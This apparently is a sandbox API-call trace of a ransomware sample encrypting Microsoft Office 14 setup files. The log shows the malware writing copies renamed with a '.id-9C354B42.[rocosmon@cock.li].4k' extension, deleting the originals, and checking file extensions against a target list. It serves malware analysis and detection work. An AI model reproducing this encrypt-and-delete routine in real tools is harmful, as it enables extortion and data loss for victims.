	[0098.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0099.561] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1452) returned 1
	[0099.561] CloseHandle (hObject=0x1e0) returned 1
	[0099.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20
	[0099.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0099.562] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.562] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0099.562] GetLastError () returned 0x0
	[0099.562] ReadFile (in: hFile=0x1e0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x5ac, lpOverlapped=0x0) returned 1
	[0099.804] WriteFile (in: hFile=0x1d8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0099.804] ReadFile (in: hFile=0x1e0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0099.804] WriteFile (in: hFile=0x1d8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0099.805] SetEndOfFile (hFile=0x1d8) returned 1
	[0099.805] CloseHandle (hObject=0x1d8) returned 1
	[0099.805] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.805] SetEndOfFile (hFile=0x1e0) returned 1
	[0099.905] CloseHandle (hObject=0x1e0) returned 1
	[0099.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0099.905] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1
	[0099.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0099.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0099.906] lstrlenW (lpString=".doc") returned 4
	[0099.906] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.906] lstrlenW (lpString=".docx") returned 5
	[0099.906] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0099.906] lstrlenW (lpString=".pdf") returned 4
	[0099.906] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.906] lstrlenW (lpString=".xls") returned 4
	[0099.906] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.906] lstrlenW (lpString=".xlsx") returned 5
	[0099.906] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0099.906] lstrlenW (lpString=".ppt") returned 4
	[0099.906] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0099.906] lstrlenW (lpString=".zip") returned 4
	[0099.906] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.906] lstrlenW (lpString=".rar") returned 4
	[0099.906] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.906] lstrlenW (lpString=".bz2") returned 4
	[0099.906] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.906] lstrlenW (lpString=".7z") returned 3
	[0099.907] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0099.907] lstrlenW (lpString=".dbf") returned 4
	[0099.907] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0099.907] lstrlenW (lpString=".1cd") returned 4
	[0099.907] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0099.907] lstrlenW (lpString=".jpg") returned 4
	[0099.907] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0099.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0099.907] lstrlenW (lpString=".doc") returned 4
	[0099.907] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.907] lstrlenW (lpString=".docx") returned 5
	[0099.907] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0099.907] lstrlenW (lpString=".pdf") returned 4
	[0099.907] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.907] lstrlenW (lpString=".xls") returned 4
	[0099.907] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.907] lstrlenW (lpString=".xlsx") returned 5
	[0099.907] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0099.907] lstrlenW (lpString=".ppt") returned 4
	[0099.907] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0099.907] lstrlenW (lpString=".zip") returned 4
	[0099.908] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.908] lstrlenW (lpString=".rar") returned 4
	[0099.908] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.908] lstrlenW (lpString=".bz2") returned 4
	[0099.908] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.908] lstrlenW (lpString=".7z") returned 3
	[0099.908] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0099.908] lstrlenW (lpString=".dbf") returned 4
	[0099.908] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0099.908] lstrlenW (lpString=".1cd") returned 4
	[0099.908] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102
	[0099.908] lstrlenW (lpString=".jpg") returned 4
	[0099.908] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.908] lstrcmpiW (lpString1=".CHM", lpString2=".4k") returned 1
	[0099.908] lstrlenW (lpString="OCT.CHM") returned 7
	[0099.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0099.939] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=71236) returned 1
	[0099.939] CloseHandle (hObject=0x1d0) returned 1
	[0099.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20
	[0099.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0099.940] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.940] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0099.941] GetLastError () returned 0x0
	[0099.941] ReadFile (in: hFile=0x1d0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x11644, lpOverlapped=0x0) returned 1
	[0099.952] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x11650, lpOverlapped=0x0) returned 1
	[0099.955] ReadFile (in: hFile=0x1d0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0099.955] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0099.955] SetEndOfFile (hFile=0x1e0) returned 1
	[0099.955] CloseHandle (hObject=0x1e0) returned 1
	[0099.955] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.955] SetEndOfFile (hFile=0x1d0) returned 1
	[0099.957] CloseHandle (hObject=0x1d0) returned 1
	[0099.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0099.957] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1
	[0099.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0099.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0099.957] lstrlenW (lpString=".doc") returned 4
	[0099.957] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0099.957] lstrlenW (lpString=".docx") returned 5
	[0099.958] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1
	[0099.958] lstrlenW (lpString=".pdf") returned 4
	[0099.958] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0099.958] lstrlenW (lpString=".xls") returned 4
	[0099.958] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0099.958] lstrlenW (lpString=".xlsx") returned 5
	[0099.958] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1
	[0099.958] lstrlenW (lpString=".ppt") returned 4
	[0099.958] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0099.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0099.958] lstrlenW (lpString=".zip") returned 4
	[0099.958] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0099.958] lstrlenW (lpString=".rar") returned 4
	[0099.958] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0099.958] lstrlenW (lpString=".bz2") returned 4
	[0099.958] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0099.958] lstrlenW (lpString=".7z") returned 3
	[0099.958] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0099.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0099.958] lstrlenW (lpString=".dbf") returned 4
	[0099.958] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0099.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0099.958] lstrlenW (lpString=".1cd") returned 4
	[0099.958] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0099.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0099.958] lstrlenW (lpString=".jpg") returned 4
	[0099.958] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0099.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0099.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0099.959] lstrlenW (lpString=".doc") returned 4
	[0099.959] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0099.959] lstrlenW (lpString=".docx") returned 5
	[0099.959] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1
	[0099.959] lstrlenW (lpString=".pdf") returned 4
	[0099.959] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0099.959] lstrlenW (lpString=".xls") returned 4
	[0099.959] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0099.959] lstrlenW (lpString=".xlsx") returned 5
	[0099.959] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1
	[0099.959] lstrlenW (lpString=".ppt") returned 4
	[0099.959] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0099.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0099.959] lstrlenW (lpString=".zip") returned 4
	[0099.959] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0099.959] lstrlenW (lpString=".rar") returned 4
	[0099.959] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0099.959] lstrlenW (lpString=".bz2") returned 4
	[0099.959] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0099.959] lstrlenW (lpString=".7z") returned 3
	[0099.959] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0099.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0099.959] lstrlenW (lpString=".dbf") returned 4
	[0099.959] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0099.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0099.959] lstrlenW (lpString=".1cd") returned 4
	[0099.959] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0099.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0099.960] lstrlenW (lpString=".jpg") returned 4
	[0099.960] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0099.960] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0099.960] lstrlenW (lpString="OfficeMUISet.XML") returned 16
	[0099.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0099.960] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=819) returned 1
	[0099.960] CloseHandle (hObject=0x1d0) returned 1
	[0099.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20
	[0099.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0099.961] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.961] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0099.962] GetLastError () returned 0x0
	[0099.962] ReadFile (in: hFile=0x1d0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x333, lpOverlapped=0x0) returned 1
	[0099.986] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x340, lpOverlapped=0x0) returned 1
	[0099.987] ReadFile (in: hFile=0x1d0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0099.988] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0099.988] SetEndOfFile (hFile=0x1e0) returned 1
	[0099.988] CloseHandle (hObject=0x1e0) returned 1
	[0099.988] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.988] SetEndOfFile (hFile=0x1d0) returned 1
	[0099.990] CloseHandle (hObject=0x1d0) returned 1
	[0099.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0099.990] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1
	[0099.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0099.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0099.990] lstrlenW (lpString=".doc") returned 4
	[0099.990] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.990] lstrlenW (lpString=".docx") returned 5
	[0099.990] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1
	[0099.990] lstrlenW (lpString=".pdf") returned 4
	[0099.991] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.991] lstrlenW (lpString=".xls") returned 4
	[0099.991] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.991] lstrlenW (lpString=".xlsx") returned 5
	[0099.991] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1
	[0099.991] lstrlenW (lpString=".ppt") returned 4
	[0099.991] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0099.991] lstrlenW (lpString=".zip") returned 4
	[0099.991] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.991] lstrlenW (lpString=".rar") returned 4
	[0099.991] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.991] lstrlenW (lpString=".bz2") returned 4
	[0099.991] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.991] lstrlenW (lpString=".7z") returned 3
	[0099.991] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0099.991] lstrlenW (lpString=".dbf") returned 4
	[0099.991] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0099.991] lstrlenW (lpString=".1cd") returned 4
	[0099.991] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0099.991] lstrlenW (lpString=".jpg") returned 4
	[0099.991] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0099.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0099.991] lstrlenW (lpString=".doc") returned 4
	[0099.992] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.992] lstrlenW (lpString=".docx") returned 5
	[0099.992] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1
	[0099.992] lstrlenW (lpString=".pdf") returned 4
	[0099.992] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.992] lstrlenW (lpString=".xls") returned 4
	[0099.992] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.992] lstrlenW (lpString=".xlsx") returned 5
